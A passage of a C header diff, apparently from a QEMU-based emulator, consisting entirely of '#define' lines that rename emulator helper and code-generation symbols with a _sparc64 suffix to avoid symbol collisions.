gen_helper_vfp_shtod gen_helper_vfp_shtod_sparc64 +#define gen_helper_vfp_shtos gen_helper_vfp_shtos_sparc64 +#define gen_helper_vfp_sitod gen_helper_vfp_sitod_sparc64 +#define gen_helper_vfp_sitos gen_helper_vfp_sitos_sparc64 +#define gen_helper_vfp_sltod gen_helper_vfp_sltod_sparc64 +#define gen_helper_vfp_sltos gen_helper_vfp_sltos_sparc64 +#define gen_helper_vfp_sqrtd gen_helper_vfp_sqrtd_sparc64 +#define gen_helper_vfp_sqrts gen_helper_vfp_sqrts_sparc64 +#define gen_helper_vfp_subd gen_helper_vfp_subd_sparc64 +#define gen_helper_vfp_subs gen_helper_vfp_subs_sparc64 +#define gen_helper_vfp_toshd_round_to_zero gen_helper_vfp_toshd_round_to_zero_sparc64 +#define gen_helper_vfp_toshs_round_to_zero gen_helper_vfp_toshs_round_to_zero_sparc64 +#define gen_helper_vfp_tosid gen_helper_vfp_tosid_sparc64 +#define gen_helper_vfp_tosis gen_helper_vfp_tosis_sparc64 +#define gen_helper_vfp_tosizd gen_helper_vfp_tosizd_sparc64 +#define gen_helper_vfp_tosizs gen_helper_vfp_tosizs_sparc64 +#define gen_helper_vfp_tosld gen_helper_vfp_tosld_sparc64 +#define gen_helper_vfp_tosld_round_to_zero gen_helper_vfp_tosld_round_to_zero_sparc64 +#define gen_helper_vfp_tosls gen_helper_vfp_tosls_sparc64 +#define gen_helper_vfp_tosls_round_to_zero gen_helper_vfp_tosls_round_to_zero_sparc64 +#define gen_helper_vfp_touhd_round_to_zero gen_helper_vfp_touhd_round_to_zero_sparc64 +#define gen_helper_vfp_touhs_round_to_zero gen_helper_vfp_touhs_round_to_zero_sparc64 +#define gen_helper_vfp_touid gen_helper_vfp_touid_sparc64 +#define gen_helper_vfp_touis gen_helper_vfp_touis_sparc64 +#define gen_helper_vfp_touizd gen_helper_vfp_touizd_sparc64 +#define gen_helper_vfp_touizs gen_helper_vfp_touizs_sparc64 +#define gen_helper_vfp_tould gen_helper_vfp_tould_sparc64 +#define gen_helper_vfp_tould_round_to_zero gen_helper_vfp_tould_round_to_zero_sparc64 +#define gen_helper_vfp_touls gen_helper_vfp_touls_sparc64 +#define gen_helper_vfp_touls_round_to_zero gen_helper_vfp_touls_round_to_zero_sparc64 +#define gen_helper_vfp_uhtod gen_helper_vfp_uhtod_sparc64 +#define gen_helper_vfp_uhtos gen_helper_vfp_uhtos_sparc64 +#define gen_helper_vfp_uitod gen_helper_vfp_uitod_sparc64 +#define gen_helper_vfp_uitos gen_helper_vfp_uitos_sparc64 +#define gen_helper_vfp_ultod gen_helper_vfp_ultod_sparc64 +#define gen_helper_vfp_ultos gen_helper_vfp_ultos_sparc64 +#define gen_helper_wfe gen_helper_wfe_sparc64 +#define gen_helper_wfi gen_helper_wfi_sparc64 +#define gen_hvc gen_hvc_sparc64 +#define gen_intermediate_code_internal gen_intermediate_code_internal_sparc64 +#define gen_intermediate_code_internal_a64 gen_intermediate_code_internal_a64_sparc64 +#define gen_iwmmxt_address gen_iwmmxt_address_sparc64 +#define gen_iwmmxt_shift gen_iwmmxt_shift_sparc64 +#define gen_jmp gen_jmp_sparc64 +#define gen_load_and_replicate gen_load_and_replicate_sparc64 +#define gen_load_exclusive gen_load_exclusive_sparc64 +#define gen_logic_CC gen_logic_CC_sparc64 +#define gen_logicq_cc gen_logicq_cc_sparc64 +#define gen_lookup_tb gen_lookup_tb_sparc64 +#define gen_mov_F0_vreg gen_mov_F0_vreg_sparc64 +#define gen_mov_F1_vreg gen_mov_F1_vreg_sparc64 +#define gen_mov_vreg_F0 gen_mov_vreg_F0_sparc64 +#define gen_muls_i64_i32 gen_muls_i64_i32_sparc64 +#define gen_mulu_i64_i32 gen_mulu_i64_i32_sparc64 +#define gen_mulxy gen_mulxy_sparc64 +#define gen_neon_add gen_neon_add_sparc64 +#define gen_neon_addl gen_neon_addl_sparc64 +#define gen_neon_addl_saturate gen_neon_addl_saturate_sparc64 +#define gen_neon_bsl gen_neon_bsl_sparc64 +#define gen_neon_dup_high16 gen_neon_dup_high16_sparc64 +#define gen_neon_dup_low16 gen_neon_dup_low16_sparc64 +#define gen_neon_dup_u8 gen_neon_dup_u8_sparc64 +#define gen_neon_mull gen_neon_mull_sparc64 +#define gen_neon_narrow gen_neon_narrow_sparc64 +#define gen_neon_narrow_op gen_neon_narrow_op_sparc64 +#define gen_neon_narrow_sats gen_neon_narrow_sats_sparc64 +#define gen_neon_narrow_satu gen_neon_narrow_satu_sparc64 +#define gen_neon_negl gen_neon_negl_sparc64 +#define gen_neon_rsb gen_neon_rsb_sparc64 +#define gen_neon_shift_narrow gen_neon_shift_narrow_sparc64 +#define gen_neon_subl gen_neon_subl_sparc64 +#define gen_neon_trn_u16 gen_neon_trn_u16_sparc64 +#define gen_neon_trn_u8 gen_neon_trn_u8_sparc64 +#define gen_neon_unarrow_sats gen_neon_unarrow_sats_sparc64 +#define gen_neon_unzip gen_neon_unzip_sparc64 +#define gen_neon_widen gen_neon_widen_sparc64 +#define gen_neon_zip gen_neon_zip_sparc64 +#define gen_new_label gen_new_label_sparc64 +#define gen_nop_hint gen_nop_hint_sparc64 +#define gen_op_iwmmxt_addl_M0_wRn gen_op_iwmmxt_addl_M0_wRn_sparc64 +#define gen_op_iwmmxt_addnb_M0_wRn gen_op_iwmmxt_addnb_M0_wRn_sparc64 +#define gen_op_iwmmxt_addnl_M0_wRn gen_op_iwmmxt_addnl_M0_wRn_sparc64 +#define gen_op_iwmmxt_addnw_M0_wRn gen_op_iwmmxt_addnw_M0_wRn_sparc64 +#define gen_op_iwmmxt_addsb_M0_wRn gen_op_iwmmxt_addsb_M0_wRn_sparc64 +#define gen_op_iwmmxt_addsl_M0_wRn gen_op_iwmmxt_addsl_M0_wRn_sparc64 +#define gen_op_iwmmxt_addsw_M0_wRn gen_op_iwmmxt_addsw_M0_wRn_sparc64 +#define gen_op_iwmmxt_addub_M0_wRn gen_op_iwmmxt_addub_M0_wRn_sparc64 +#define gen_op_iwmmxt_addul_M0_wRn gen_op_iwmmxt_addul_M0_wRn_sparc64 +#define gen_op_iwmmxt_adduw_M0_wRn gen_op_iwmmxt_adduw_M0_wRn_sparc64 +#define gen_op_iwmmxt_andq_M0_wRn gen_op_iwmmxt_andq_M0_wRn_sparc64 +#define gen_op_iwmmxt_avgb0_M0_wRn gen_op_iwmmxt_avgb0_M0_wRn_sparc64 +#define gen_op_iwmmxt_avgb1_M0_wRn gen_op_iwmmxt_avgb1_M0_wRn_sparc64 +#define gen_op_iwmmxt_avgw0_M0_wRn gen_op_iwmmxt_avgw0_M0_wRn_sparc64 +#define gen_op_iwmmxt_avgw1_M0_wRn gen_op_iwmmxt_avgw1_M0_wRn_sparc64 +#define gen_op_iwmmxt_cmpeqb_M0_wRn gen_op_iwmmxt_cmpeqb_M0_wRn_sparc64 +#define gen_op_iwmmxt_cmpeql_M0_wRn gen_op_iwmmxt_cmpeql_M0_wRn_sparc64 +#define gen_op_iwmmxt_cmpeqw_M0_wRn gen_op_iwmmxt_cmpeqw_M0_wRn_sparc64 +#define gen_op_iwmmxt_cmpgtsb_M0_wRn gen_op_iwmmxt_cmpgtsb_M0_wRn_sparc64 +#define gen_op_iwmmxt_cmpgtsl_M0_wRn gen_op_iwmmxt_cmpgtsl_M0_wRn_sparc64 +#define gen_op_iwmmxt_cmpgtsw_M0_wRn gen_op_iwmmxt_cmpgtsw_M0_wRn_sparc64 +#define gen_op_iwmmxt_cmpgtub_M0_wRn gen_op_iwmmxt_cmpgtub_M0_wRn_sparc64 +#define gen_op_iwmmxt_cmpgtul_M0_wRn gen_op_iwmmxt_cmpgtul_M0_wRn_sparc64 +#define gen_op_iwmmxt_cmpgtuw_M0_wRn gen_op_iwmmxt_cmpgtuw_M0_wRn_sparc64 +#define gen_op_iwmmxt_macsw_M0_wRn gen_op_iwmmxt_macsw_M0_wRn_sparc64 +#define gen_op_iwmmxt_macuw_M0_wRn gen_op_iwmmxt_macuw_M0_wRn_sparc64 +#define gen_op_iwmmxt_maddsq_M0_wRn gen_op_iwmmxt_maddsq_M0_wRn_sparc64 +#define gen_op_iwmmxt_madduq_M0_wRn gen_op_iwmmxt_madduq_M0_wRn_sparc64 +#define gen_op_iwmmxt_maxsb_M0_wRn gen_op_iwmmxt_maxsb_M0_wRn_sparc64 +#define gen_op_iwmmxt_maxsl_M0_wRn gen_op_iwmmxt_maxsl_M0_wRn_sparc64 +#define gen_op_iwmmxt_maxsw_M0_wRn gen_op_iwmmxt_maxsw_M0_wRn_sparc64 +#define gen_op_iwmmxt_maxub_M0_wRn gen_op_iwmmxt_maxub_M0_wRn_sparc64 +#define gen_op_iwmmxt_maxul_M0_wRn gen_op_iwmmxt_maxul_M0_wRn_sparc64 +#define gen_op_iwmmxt_maxuw_M0_wRn gen_op_iwmmxt_maxuw_M0_wRn_sparc64 +#define gen_op_iwmmxt_minsb_M0_wRn gen_op_iwmmxt_minsb_M0_wRn_sparc64 +#define gen_op_iwmmxt_minsl_M0_wRn gen_op_iwmmxt_minsl_M0_wRn_sparc64 +#define gen_op_iwmmxt_minsw_M0_wRn gen_op_iwmmxt_minsw_M0_wRn_sparc64 +#define gen_op_iwmmxt_minub_M0_wRn gen_op_iwmmxt_minub_M0_wRn_sparc64 +#define gen_op_iwmmxt_minul_M0_wRn gen_op_iwmmxt_minul_M0_wRn_sparc64 +#define gen_op_iwmmxt_minuw_M0_wRn gen_op_iwmmxt_minuw_M0_wRn_sparc64 +#define gen_op_iwmmxt_movq_M0_wRn gen_op_iwmmxt_movq_M0_wRn_sparc64 +#define gen_op_iwmmxt_movq_wRn_M0 gen_op_iwmmxt_movq_wRn_M0_sparc64 +#define gen_op_iwmmxt_mulshw_M0_wRn gen_op_iwmmxt_mulshw_M0_wRn_sparc64 +#define gen_op_iwmmxt_mulslw_M0_wRn gen_op_iwmmxt_mulslw_M0_wRn_sparc64 +#define gen_op_iwmmxt_muluhw_M0_wRn gen_op_iwmmxt_muluhw_M0_wRn_sparc64 +#define gen_op_iwmmxt_mululw_M0_wRn gen_op_iwmmxt_mululw_M0_wRn_sparc64 +#define gen_op_iwmmxt_orq_M0_wRn gen_op_iwmmxt_orq_M0_wRn_sparc64 +#define gen_op_iwmmxt_packsl_M0_wRn gen_op_iwmmxt_packsl_M0_wRn_sparc64 +#define gen_op_iwmmxt_packsq_M0_wRn gen_op_iwmmxt_packsq_M0_wRn_sparc64 +#define gen_op_iwmmxt_packsw_M0_wRn gen_op_iwmmxt_packsw_M0_wRn_sparc64 +#define gen_op_iwmmxt_packul_M0_wRn gen_op_iwmmxt_packul_M0_wRn_sparc64 +#define gen_op_iwmmxt_packuq_M0_wRn gen_op_iwmmxt_packuq_M0_wRn_sparc64 +#define gen_op_iwmmxt_packuw_M0_wRn gen_op_iwmmxt_packuw_M0_wRn_sparc64 +#define gen_op_iwmmxt_sadb_M0_wRn gen_op_iwmmxt_sadb_M0_wRn_sparc64 +#define gen_op_iwmmxt_sadw_M0_wRn gen_op_iwmmxt_sadw_M0_wRn_sparc64 +#define gen_op_iwmmxt_set_cup gen_op_iwmmxt_set_cup_sparc64 +#define gen_op_iwmmxt_set_mup gen_op_iwmmxt_set_mup_sparc64 +#define gen_op_iwmmxt_setpsr_nz gen_op_iwmmxt_setpsr_nz_sparc64 +#define gen_op_iwmmxt_subnb_M0_wRn gen_op_iwmmxt_subnb_M0_wRn_sparc64 +#define gen_op_iwmmxt_subnl_M0_wRn gen_op_iwmmxt_subnl_M0_wRn_sparc64 +#define gen_op_iwmmxt_subnw_M0_wRn gen_op_iwmmxt_subnw_M0_wRn_sparc64 +#define gen_op_iwmmxt_subsb_M0_wRn gen_op_iwmmxt_subsb_M0_wRn_sparc64 +#define gen_op_iwmmxt_subsl_M0_wRn gen_op_iwmmxt_subsl_M0_wRn_sparc64 +#define gen_op_iwmmxt_subsw_M0_wRn gen_op_iwmmxt_subsw_M0_wRn_sparc64 +#define gen_op_iwmmxt_subub_M0_wRn gen_op_iwmmxt_subub_M0_wRn_sparc64 +#define gen_op_iwmmxt_subul_M0_wRn gen_op_iwmmxt_subul_M0_wRn_sparc64 +#define gen_op_iwmmxt_subuw_M0_wRn gen_op_iwmmxt_subuw_M0_wRn_sparc64 +#define gen_op_iwmmxt_unpackhb_M0_wRn gen_op_iwmmxt_unpackhb_M0_wRn_sparc64 +#define gen_op_iwmmxt_unpackhl_M0_wRn gen_op_iwmmxt_unpackhl_M0_wRn_sparc64 +#define gen_op_iwmmxt_unpackhsb_M0 gen_op_iwmmxt_unpackhsb_M0_sparc64 +#define gen_op_iwmmxt_unpackhsl_M0 gen_op_iwmmxt_unpackhsl_M0_sparc64 +#define gen_op_iwmmxt_unpackhsw_M0 gen_op_iwmmxt_unpackhsw_M0_sparc64 +#define gen_op_iwmmxt_unpackhub_M0 gen_op_iwmmxt_unpackhub_M0_sparc64 +#define gen_op_iwmmxt_unpackhul_M0 gen_op_iwmmxt_unpackhul_M0_sparc64 +#define gen_op_iwmmxt_unpackhuw_M0 gen_op_iwmmxt_unpackhuw_M0_sparc64 +#define gen_op_iwmmxt_unpackhw_M0_wRn gen_op_iwmmxt_unpackhw_M0_wRn_sparc64 +#define gen_op_iwmmxt_unpacklb_M0_wRn gen_op_iwmmxt_unpacklb_M0_wRn_sparc64 +#define gen_op_iwmmxt_unpackll_M0_wRn gen_op_iwmmxt_unpackll_M0_wRn_sparc64 +#define gen_op_iwmmxt_unpacklsb_M0 gen_op_iwmmxt_unpacklsb_M0_sparc64 +#define gen_op_iwmmxt_unpacklsl_M0 gen_op_iwmmxt_unpacklsl_M0_sparc64 +#define gen_op_iwmmxt_unpacklsw_M0 gen_op_iwmmxt_unpacklsw_M0_sparc64 +#define gen_op_iwmmxt_unpacklub_M0 gen_op_iwmmxt_unpacklub_M0_sparc64 +#define gen_op_iwmmxt_unpacklul_M0 gen_op_iwmmxt_unpacklul_M0_sparc64 +#define gen_op_iwmmxt_unpackluw_M0 gen_op_iwmmxt_unpackluw_M0_sparc64 +#define gen_op_iwmmxt_unpacklw_M0_wRn gen_op_iwmmxt_unpacklw_M0_wRn_sparc64 +#define gen_op_iwmmxt_xorq_M0_wRn gen_op_iwmmxt_xorq_M0_wRn_sparc64 +#define gen_rev16 gen_rev16_sparc64 +#define gen_revsh gen_revsh_sparc64 +#define gen_rfe gen_rfe_sparc64 +#define gen_sar gen_sar_sparc64 +#define gen_sbc_CC gen_sbc_CC_sparc64 +#define gen_sbfx gen_sbfx_sparc64 +#define gen_set_CF_bit31 gen_set_CF_bit31_sparc64 +#define gen_set_condexec gen_set_condexec_sparc64 +#define gen_set_cpsr gen_set_cpsr_sparc64 +#define gen_set_label gen_set_label_sparc64 +#define gen_set_pc_im gen_set_pc_im_sparc64 +#define gen_set_psr gen_set_psr_sparc64 +#define gen_set_psr_im gen_set_psr_im_sparc64 +#define gen_shl gen_shl_sparc64 +#define gen_shr gen_shr_sparc64 +#define gen_smc gen_smc_sparc64 +#define gen_smul_dual gen_smul_dual_sparc64 +#define gen_srs gen_srs_sparc64 +#define gen_ss_advance gen_ss_advance_sparc64 +#define gen_step_complete_exception gen_step_complete_exception_sparc64 +#define gen_store_exclusive gen_store_exclusive_sparc64 +#define gen_storeq_reg gen_storeq_reg_sparc64 +#define gen_sub_carry gen_sub_carry_sparc64 +#define gen_sub_CC gen_sub_CC_sparc64 +#define gen_subq_msw gen_subq_msw_sparc64 +#define gen_swap_half gen_swap_half_sparc64 +#define gen_thumb2_data_op gen_thumb2_data_op_sparc64 +#define gen_thumb2_parallel_addsub gen_thumb2_parallel_addsub_sparc64 +#define gen_ubfx gen_ubfx_sparc64 +#define gen_vfp_abs gen_vfp_abs_sparc64 +#define gen_vfp_add gen_vfp_add_sparc64 +#define gen_vfp_cmp gen_vfp_cmp_sparc64 +#define gen_vfp_cmpe gen_vfp_cmpe_sparc64 +#define gen_vfp_div gen_vfp_div_sparc64 +#define gen_vfp_F1_ld0 gen_vfp_F1_ld0_sparc64 +#define gen_vfp_F1_mul gen_vfp_F1_mul_sparc64 +#define gen_vfp_F1_neg gen_vfp_F1_neg_sparc64 +#define gen_vfp_ld gen_vfp_ld_sparc64 +#define gen_vfp_mrs gen_vfp_mrs_sparc64 +#define gen_vfp_msr gen_vfp_msr_sparc64 +#define gen_vfp_mul gen_vfp_mul_sparc64 +#define gen_vfp_neg gen_vfp_neg_sparc64 +#define gen_vfp_shto gen_vfp_shto_sparc64 +#define gen_vfp_sito gen_vfp_sito_sparc64 +#define gen_vfp_slto gen_vfp_slto_sparc64 +#define gen_vfp_sqrt gen_vfp_sqrt_sparc64 +#define gen_vfp_st gen_vfp_st_sparc64 +#define gen_vfp_sub gen_vfp_sub_sparc64 +#define gen_vfp_tosh gen_vfp_tosh_sparc64 +#define gen_vfp_tosi gen_vfp_tosi_sparc64 +#define gen_vfp_tosiz gen_vfp_tosiz_sparc64 +#define gen_vfp_tosl gen_vfp_tosl_sparc64 +#define gen_vfp_touh gen_vfp_touh_sparc64 +#define gen_vfp_toui gen_vfp_toui_sparc64 +#define gen_vfp_touiz gen_vfp_touiz_sparc64 +#define gen_vfp_toul gen_vfp_toul_sparc64 +#define gen_vfp_uhto gen_vfp_uhto_sparc64 +#define gen_vfp_uito gen_vfp_uito_sparc64 +#define gen_vfp_ulto gen_vfp_ulto_sparc64 +#define get_arm_cp_reginfo get_arm_cp_reginfo_sparc64 +#define get_clock get_clock_sparc64 +#define get_clock_realtime get_clock_realtime_sparc64 +#define get_constraint_priority get_constraint_priority_sparc64 +#define get_float_exception_flags get_float_exception_flags_sparc64 +#define get_float_rounding_mode get_float_rounding_mode_sparc64 +#define get_fpstatus_ptr get_fpstatus_ptr_sparc64 +#define get_level1_table_address get_level1_table_address_sparc64 +#define get_mem_index get_mem_index_sparc64 +#define get_next_param_value get_next_param_value_sparc64 +#define get_opt_name get_opt_name_sparc64 +#define get_opt_value get_opt_value_sparc64 +#define get_page_addr_code get_page_addr_code_sparc64 +#define get_param_value get_param_value_sparc64 +#define get_phys_addr get_phys_addr_sparc64 +#define get_phys_addr_lpae get_phys_addr_lpae_sparc64 +#define get_phys_addr_mpu get_phys_addr_mpu_sparc64 +#define get_phys_addr_v5 get_phys_addr_v5_sparc64 +#define get_phys_addr_v6 get_phys_addr_v6_sparc64 +#define get_system_memory get_system_memory_sparc64 +#define get_ticks_per_sec get_ticks_per_sec_sparc64 +#define g_list_insert_sorted_merged g_list_insert_sorted_merged_sparc64 +#define _GLOBAL_OFFSET_TABLE_ _GLOBAL_OFFSET_TABLE__sparc64 +#define gt_cntfrq_access gt_cntfrq_access_sparc64 +#define gt_cnt_read gt_cnt_read_sparc64 +#define gt_cnt_reset gt_cnt_reset_sparc64 +#define gt_counter_access gt_counter_access_sparc64 +#define gt_ctl_write gt_ctl_write_sparc64 +#define gt_cval_write gt_cval_write_sparc64 +#define gt_get_countervalue gt_get_countervalue_sparc64 +#define gt_pct_access gt_pct_access_sparc64 +#define gt_ptimer_access gt_ptimer_access_sparc64 +#define gt_recalc_timer gt_recalc_timer_sparc64 +#define gt_timer_access gt_timer_access_sparc64 +#define gt_tval_read gt_tval_read_sparc64 +#define gt_tval_write gt_tval_write_sparc64 +#define gt_vct_access gt_vct_access_sparc64 +#define gt_vtimer_access gt_vtimer_access_sparc64 +#define guest_phys_blocks_free guest_phys_blocks_free_sparc64 +#define guest_phys_blocks_init guest_phys_blocks_init_sparc64 +#define handle_vcvt handle_vcvt_sparc64 +#define handle_vminmaxnm handle_vminmaxnm_sparc64 +#define handle_vrint handle_vrint_sparc64 +#define handle_vsel handle_vsel_sparc64 +#define has_help_option has_help_option_sparc64 +#define have_bmi1 have_bmi1_sparc64 +#define have_bmi2 have_bmi2_sparc64 +#define hcr_write hcr_write_sparc64 +#define helper_access_check_cp_reg helper_access_check_cp_reg_sparc64 +#define helper_add_saturate helper_add_saturate_sparc64 +#define helper_add_setq helper_add_setq_sparc64 +#define helper_add_usaturate helper_add_usaturate_sparc64 +#define helper_be_ldl_cmmu helper_be_ldl_cmmu_sparc64 +#define helper_be_ldq_cmmu helper_be_ldq_cmmu_sparc64 +#define helper_be_ldq_mmu helper_be_ldq_mmu_sparc64 +#define helper_be_ldsl_mmu helper_be_ldsl_mmu_sparc64 +#define helper_be_ldsw_mmu helper_be_ldsw_mmu_sparc64 +#define helper_be_ldul_mmu helper_be_ldul_mmu_sparc64 +#define helper_be_lduw_mmu helper_be_lduw_mmu_sparc64 +#define helper_be_ldw_cmmu helper_be_ldw_cmmu_sparc64 +#define helper_be_stl_mmu helper_be_stl_mmu_sparc64 +#define helper_be_stq_mmu helper_be_stq_mmu_sparc64 +#define helper_be_stw_mmu helper_be_stw_mmu_sparc64 +#define helper_clear_pstate_ss helper_clear_pstate_ss_sparc64 +#define helper_clz_arm helper_clz_arm_sparc64 +#define helper_cpsr_read helper_cpsr_read_sparc64 +#define helper_cpsr_write helper_cpsr_write_sparc64 +#define helper_crc32_arm helper_crc32_arm_sparc64 +#define helper_crc32c helper_crc32c_sparc64 +#define helper_crypto_aese helper_crypto_aese_sparc64 +#define helper_crypto_aesmc helper_crypto_aesmc_sparc64 +#define helper_crypto_sha1_3reg helper_crypto_sha1_3reg_sparc64 +#define helper_crypto_sha1h helper_crypto_sha1h_sparc64 +#define helper_crypto_sha1su1 helper_crypto_sha1su1_sparc64 +#define helper_crypto_sha256h helper_crypto_sha256h_sparc64 +#define helper_crypto_sha256h2 helper_crypto_sha256h2_sparc64 +#define helper_crypto_sha256su0 helper_crypto_sha256su0_sparc64 +#define helper_crypto_sha256su1 helper_crypto_sha256su1_sparc64 +#define helper_dc_zva helper_dc_zva_sparc64 +#define helper_double_saturate helper_double_saturate_sparc64 +#define helper_exception_internal helper_exception_internal_sparc64 +#define helper_exception_return helper_exception_return_sparc64 +#define helper_exception_with_syndrome helper_exception_with_syndrome_sparc64 +#define helper_get_cp_reg helper_get_cp_reg_sparc64 +#define helper_get_cp_reg64 helper_get_cp_reg64_sparc64 +#define helper_get_r13_banked helper_get_r13_banked_sparc64 +#define helper_get_user_reg helper_get_user_reg_sparc64 +#define helper_iwmmxt_addcb helper_iwmmxt_addcb_sparc64 +#define helper_iwmmxt_addcl helper_iwmmxt_addcl_sparc64 +#define helper_iwmmxt_addcw helper_iwmmxt_addcw_sparc64 +#define helper_iwmmxt_addnb helper_iwmmxt_addnb_sparc64 +#define helper_iwmmxt_addnl helper_iwmmxt_addnl_sparc64 +#define helper_iwmmxt_addnw helper_iwmmxt_addnw_sparc64 +#define helper_iwmmxt_addsb helper_iwmmxt_addsb_sparc64 +#define helper_iwmmxt_addsl helper_iwmmxt_addsl_sparc64 +#define helper_iwmmxt_addsw helper_iwmmxt_addsw_sparc64 +#define helper_iwmmxt_addub helper_iwmmxt_addub_sparc64 +#define helper_iwmmxt_addul helper_iwmmxt_addul_sparc64 +#define helper_iwmmxt_adduw helper_iwmmxt_adduw_sparc64 +#define helper_iwmmxt_align helper_iwmmxt_align_sparc64 +#define helper_iwmmxt_avgb0 helper_iwmmxt_avgb0_sparc64 +#define helper_iwmmxt_avgb1 helper_iwmmxt_avgb1_sparc64 +#define helper_iwmmxt_avgw0 helper_iwmmxt_avgw0_sparc64 +#define helper_iwmmxt_avgw1 helper_iwmmxt_avgw1_sparc64 +#define helper_iwmmxt_bcstb helper_iwmmxt_bcstb_sparc64 +#define helper_iwmmxt_bcstl helper_iwmmxt_bcstl_sparc64 +#define helper_iwmmxt_bcstw helper_iwmmxt_bcstw_sparc64 +#define helper_iwmmxt_cmpeqb helper_iwmmxt_cmpeqb_sparc64 +#define helper_iwmmxt_cmpeql helper_iwmmxt_cmpeql_sparc64 +#define helper_iwmmxt_cmpeqw helper_iwmmxt_cmpeqw_sparc64 +#define helper_iwmmxt_cmpgtsb helper_iwmmxt_cmpgtsb_sparc64 +#define helper_iwmmxt_cmpgtsl helper_iwmmxt_cmpgtsl_sparc64 +#define helper_iwmmxt_cmpgtsw helper_iwmmxt_cmpgtsw_sparc64 +#define helper_iwmmxt_cmpgtub helper_iwmmxt_cmpgtub_sparc64 +#define helper_iwmmxt_cmpgtul helper_iwmmxt_cmpgtul_sparc64 +#define helper_iwmmxt_cmpgtuw helper_iwmmxt_cmpgtuw_sparc64 +#define helper_iwmmxt_insr helper_iwmmxt_insr_sparc64 +#define helper_iwmmxt_macsw helper_iwmmxt_macsw_sparc64 +#define helper_iwmmxt_macuw helper_iwmmxt_macuw_sparc64 +#define helper_iwmmxt_maddsq helper_iwmmxt_maddsq_sparc64 +#define helper_iwmmxt_madduq helper_iwmmxt_madduq_sparc64 +#define helper_iwmmxt_maxsb helper_iwmmxt_maxsb_sparc64 +#define helper_iwmmxt_maxsl helper_iwmmxt_maxsl_sparc64 +#define helper_iwmmxt_maxsw helper_iwmmxt_maxsw_sparc64 +#define helper_iwmmxt_maxub helper_iwmmxt_maxub_sparc64 +#define helper_iwmmxt_maxul helper_iwmmxt_maxul_sparc64 +#define helper_iwmmxt_maxuw helper_iwmmxt_maxuw_sparc64 +#define helper_iwmmxt_minsb helper_iwmmxt_minsb_sparc64 +#define helper_iwmmxt_minsl helper_iwmmxt_minsl_sparc64 +#define helper_iwmmxt_minsw helper_iwmmxt_minsw_sparc64 +#define helper_iwmmxt_minub helper_iwmmxt_minub_sparc64 +#define helper_iwmmxt_minul helper_iwmmxt_minul_sparc64 +#define helper_iwmmxt_minuw helper_iwmmxt_minuw_sparc64 +#define helper_iwmmxt_msbb helper_iwmmxt_msbb_sparc64 +#define helper_iwmmxt_msbl helper_iwmmxt_msbl_sparc64 +#define helper_iwmmxt_msbw helper_iwmmxt_msbw_sparc64 +#define helper_iwmmxt_muladdsl helper_iwmmxt_muladdsl_sparc64 +#define helper_iwmmxt_muladdsw helper_iwmmxt_muladdsw_sparc64 +#define helper_iwmmxt_muladdswl helper_iwmmxt_muladdswl_sparc64 +#define helper_iwmmxt_mulshw helper_iwmmxt_mulshw_sparc64 +#define helper_iwmmxt_mulslw helper_iwmmxt_mulslw_sparc64 +#define helper_iwmmxt_muluhw helper_iwmmxt_muluhw_sparc64 +#define helper_iwmmxt_mululw helper_iwmmxt_mululw_sparc64 +#define helper_iwmmxt_packsl helper_iwmmxt_packsl_sparc64 +#define helper_iwmmxt_packsq helper_iwmmxt_packsq_sparc64 +#define helper_iwmmxt_packsw helper_iwmmxt_packsw_sparc64 +#define helper_iwmmxt_packul helper_iwmmxt_packul_sparc64 +#define helper_iwmmxt_packuq helper_iwmmxt_packuq_sparc64 +#define helper_iwmmxt_packuw helper_iwmmxt_packuw_sparc64 +#define helper_iwmmxt_rorl helper_iwmmxt_rorl_sparc64 +#define helper_iwmmxt_rorq helper_iwmmxt_rorq_sparc64 +#define helper_iwmmxt_rorw helper_iwmmxt_rorw_sparc64 +#define helper_iwmmxt_sadb helper_iwmmxt_sadb_sparc64 +#define helper_iwmmxt_sadw helper_iwmmxt_sadw_sparc64 +#define helper_iwmmxt_setpsr_nz helper_iwmmxt_setpsr_nz_sparc64 +#define helper_iwmmxt_shufh helper_iwmmxt_shufh_sparc64 +#define helper_iwmmxt_slll helper_iwmmxt_slll_sparc64 +#define helper_iwmmxt_sllq helper_iwmmxt_sllq_sparc64 +#define helper_iwmmxt_sllw helper_iwmmxt_sllw_sparc64 +#define helper_iwmmxt_sral helper_iwmmxt_sral_sparc64 +#define helper_iwmmxt_sraq helper_iwmmxt_sraq_sparc64 +#define helper_iwmmxt_sraw helper_iwmmxt_sraw_sparc64 +#define helper_iwmmxt_srll helper_iwmmxt_srll_sparc64 +#define helper_iwmmxt_srlq helper_iwmmxt_srlq_sparc64 +#define helper_iwmmxt_srlw helper_iwmmxt_srlw_sparc64 +#define helper_iwmmxt_subnb helper_iwmmxt_subnb_sparc64 +#define helper_iwmmxt_subnl helper_iwmmxt_subnl_sparc64 +#define helper_iwmmxt_subnw helper_iwmmxt_subnw_sparc64 +#define helper_iwmmxt_subsb helper_iwmmxt_subsb_sparc64 +#define helper_iwmmxt_subsl helper_iwmmxt_subsl_sparc64 +#define helper_iwmmxt_subsw helper_iwmmxt_subsw_sparc64 +#define helper_iwmmxt_subub helper_iwmmxt_subub_sparc64 +#define helper_iwmmxt_subul helper_iwmmxt_subul_sparc64 +#define helper_iwmmxt_subuw helper_iwmmxt_subuw_sparc64 +#define helper_iwmmxt_unpackhb helper_iwmmxt_unpackhb_sparc64 +#define helper_iwmmxt_unpackhl helper_iwmmxt_unpackhl_sparc64 +#define helper_iwmmxt_unpackhsb helper_iwmmxt_unpackhsb_sparc64 +#define helper_iwmmxt_unpackhsl helper_iwmmxt_unpackhsl_sparc64 +#define helper_iwmmxt_unpackhsw helper_iwmmxt_unpackhsw_sparc64 +#define helper_iwmmxt_unpackhub helper_iwmmxt_unpackhub_sparc64 +#define helper_iwmmxt_unpackhul helper_iwmmxt_unpackhul_sparc64 +#define helper_iwmmxt_unpackhuw helper_iwmmxt_unpackhuw_sparc64 +#define helper_iwmmxt_unpackhw helper_iwmmxt_unpackhw_sparc64 +#define helper_iwmmxt_unpacklb helper_iwmmxt_unpacklb_sparc64 +#define helper_iwmmxt_unpackll helper_iwmmxt_unpackll_sparc64 +#define helper_iwmmxt_unpacklsb helper_iwmmxt_unpacklsb_sparc64 +#define helper_iwmmxt_unpacklsl helper_iwmmxt_unpacklsl_sparc64 +#define helper_iwmmxt_unpacklsw helper_iwmmxt_unpacklsw_sparc64 +#define helper_iwmmxt_unpacklub helper_iwmmxt_unpacklub_sparc64 +#define helper_iwmmxt_unpacklul helper_iwmmxt_unpacklul_sparc64 +#define helper_iwmmxt_unpackluw helper_iwmmxt_unpackluw_sparc64 +#define 